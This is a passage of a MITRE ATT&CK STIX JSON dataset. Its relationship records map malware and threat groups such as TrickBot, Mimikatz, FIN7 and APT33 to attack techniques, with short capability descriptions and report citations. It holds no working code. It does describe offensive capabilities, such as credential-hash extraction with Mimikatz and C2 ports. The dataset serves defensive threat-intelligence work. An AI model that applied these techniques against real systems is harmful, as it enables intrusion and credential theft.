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            "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture screenshots.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T16:46:28.728Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can launch a remote shell to execute commands.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-07-17T17:34:21.783Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a66aff09-0635-44a3-b591-a530a25c9012",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Microsoft Sysinternals [PsExec](https://attack.mitre.org/software/S0029) is a popular administration tool that can be used to execute binaries on remote systems using a temporary Windows service.(Citation: Russinovich Sysinternals)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Russinovich Sysinternals",
                    "description": "Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"
                }
            ],
            "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2020-03-20T19:20:27.705Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a36bddd3-6993-4f3f-9298-cba2868438b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "relationship_type": "uses",
            "target_ref": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Sept 2017"
                },
                {
                    "url": "https://www.brighttalk.com/webcast/10703/275683",
                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Webinar Sept 2017"
                },
                {
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "source_name": "Symantec Elfin Mar 2019"
                }
            ],
            "description": "(Citation: FireEye APT33 Sept 2017)(Citation: FireEye APT33 Webinar Sept 2017)(Citation: Symantec Elfin Mar 2019)",
            "type": "relationship",
            "modified": "2019-06-28T15:05:33.701Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c4f9c2ad-f740-4b08-9788-c058b98f2094",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bandook](https://attack.mitre.org/software/S0234) has modules that are capable of capturing from a victim's webcam.(Citation: EFF Manul Aug 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "EFF Manul Aug 2016",
                    "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.",
                    "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf"
                }
            ],
            "source_ref": "malware--835a79f1-842d-472d-b8f4-d54b545c341b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2020-03-16T16:01:27.542Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e90717f3-fad2-4978-be15-7dfb647d034d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) automatically searches for files on local drives based on a predefined list of file extensions.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.875Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1ec5ed3d-92af-4a86-b9db-42e506e661d3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses ports 447 and 8082 for C2 communications.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Trend Micro Totbrick Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Fidelis TrickBot Oct 2016",
                    "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.",
                    "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                }
            ],
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-06-24T19:15:06.704Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--68b5f8de-41bf-4909-bb0b-be5bb41a8698",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Naid](https://attack.mitre.org/software/S0205) connects to external C2 infrastructure over port 443.(Citation: Symantec Naid June 2012)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Naid June 2012",
                    "description": "Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--87b74ba7-99c4-464c-86d2-1dd8c8b578b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover the system time by using the <code>net time</code> command.(Citation: Kaspersky Turla)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
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            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-07-14T21:04:44.956Z",
            "created": "2017-05-31T21:33:27.045Z"
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        {
            "id": "relationship--4636d747-9b81-4139-b86d-6e4edbc4111e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [FinFisher](https://attack.mitre.org/software/S0182) variant uses a custom packer.(Citation: FinFisher Citation)(Citation: Securelist BlackOasis Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FinFisher Citation",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "url": "http://www.finfisher.com/FinFisher/index.html"
                },
                {
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "source_name": "Securelist BlackOasis Oct 2017"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-12-20T14:32:13.562Z",
            "created": "2018-04-18T17:59:24.739Z"
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        {
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            "description": "[Mimikatz](https://attack.mitre.org/software/S0002)\u2019s <code>LSADUMP::DCSync</code> and <code>KERBEROS::PTT</code> modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets.(Citation: Adsecurity Mimikatz Guide)(Citation: AdSecurity Kerberos GT Aug 2015)(Citation: Harmj0y DCSync Sept 2015)(Citation: NCSC Joint Report Public Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://adsecurity.org/?page_id=1821",
                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
                    "source_name": "Adsecurity Mimikatz Guide"
                },
                {
                    "url": "https://adsecurity.org/?p=1640",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "source_name": "AdSecurity Kerberos GT Aug 2015"
                },
                {
                    "source_name": "Harmj0y DCSync Sept 2015",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                },
                {
                    "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.",
                    "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools",
                    "source_name": "NCSC Joint Report Public Tools"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "type": "relationship",
            "modified": "2021-01-25T15:43:45.880Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--ee83de4f-1ebf-4da4-829e-052d2ac7cb3a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DealersChoice](https://attack.mitre.org/software/S0243) uses HTTP for communication with the C2 server.(Citation: Sofacy DealersChoice)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sofacy DealersChoice",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"
                }
            ],
            "source_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:53:52.885Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--40a8f80d-5497-4218-849c-3c0b63796641",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) may store RC4 encrypted configuration information in the Windows Registry.(Citation: FireEye APT28)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2019-05-14T17:10:21.976Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) kills antimalware running process.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.607Z",
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        },
        {
            "id": "relationship--45a9a394-2371-4751-ae86-043630b6f52a",
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            "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the Internet adapter configuration.(Citation: Symantec Dragonfly)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T16:17:38.066Z",
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        },
        {
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            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can clear all system event logs.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.732Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--06eb051c-74d0-4bbd-8cdf-1018b3c2e748",
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) creates a Registry start-up entry to establish persistence.(Citation: McAfee Netwire Mar 2015)(Citation: Red Canary NETWIRE January 2020)(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Netwire Mar 2015",
                    "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"
                },
                {
                    "source_name": "Red Canary NETWIRE January 2020",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Unit 42 NETWIRE April 2020",
                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Proofpoint NETWIRE December 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."
                }
            ],
            "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2021-01-12T18:40:26.140Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--21fdaa87-7b0e-4ad9-a612-c4d2ec8789d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain the permissions of the victim user.(Citation: Microsoft PLATINUM April 2016)",
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            ],
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                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T20:41:26.970Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-03-23T23:55:08.270Z",
            "created": "2017-05-31T21:33:27.029Z"
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        {
            "id": "relationship--0a65c303-52a6-4624-a8fb-fc7448429139",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) sets its DLL file as a new service in the Registry to establish persistence.(Citation: Microsoft Winnti Jan 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft Winnti Jan 2017",
                    "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.",
                    "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"
                }
            ],
            "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-04-30T18:45:04.769Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b0bfd6bc-95fd-4587-8d2d-2d40c3c25ba0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate users on a victim domain controller.(Citation: US-CERT TA18-074A)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "type": "relationship",
            "modified": "2020-03-18T19:44:07.766Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d",
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            "description": "[Elise](https://attack.mitre.org/software/S0081) executes <code>net user</code> after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T19:50:38.630Z",
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        {
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            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye FIN7 Aug 2018)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                }
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
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            "created": "2018-04-18T17:59:24.739Z"
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        {
            "id": "relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)",
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        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Taidoor](https://attack.mitre.org/groups/G0015) uses RC4 to encrypt the message body of HTTP content.(Citation: TrendMicro Taidoor)",
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            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Taidoor",
                    "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:33:27.048Z",
            "source_ref": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5"
        },
        {
            "id": "relationship--98d076a5-9640-4337-a5a0-27c0c8a3374b",
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) stole domain credentials from Microsoft Active Directory Domain Controller and leveraged [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: FireEye APT35 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T23:24:15.961Z",
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        {
            "id": "relationship--e232f720-ab39-43f4-b419-ae8de115c5e6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "relationship_type": "uses",
            "target_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "source_name": "FireEye FIN7 March 2017"
                }
            ],
            "description": "(Citation: FireEye FIN7 March 2017)",
            "type": "relationship",
            "modified": "2019-06-30T23:13:18.593Z",
            "created": "2017-05-31T21:33:27.079Z"
        },
        {
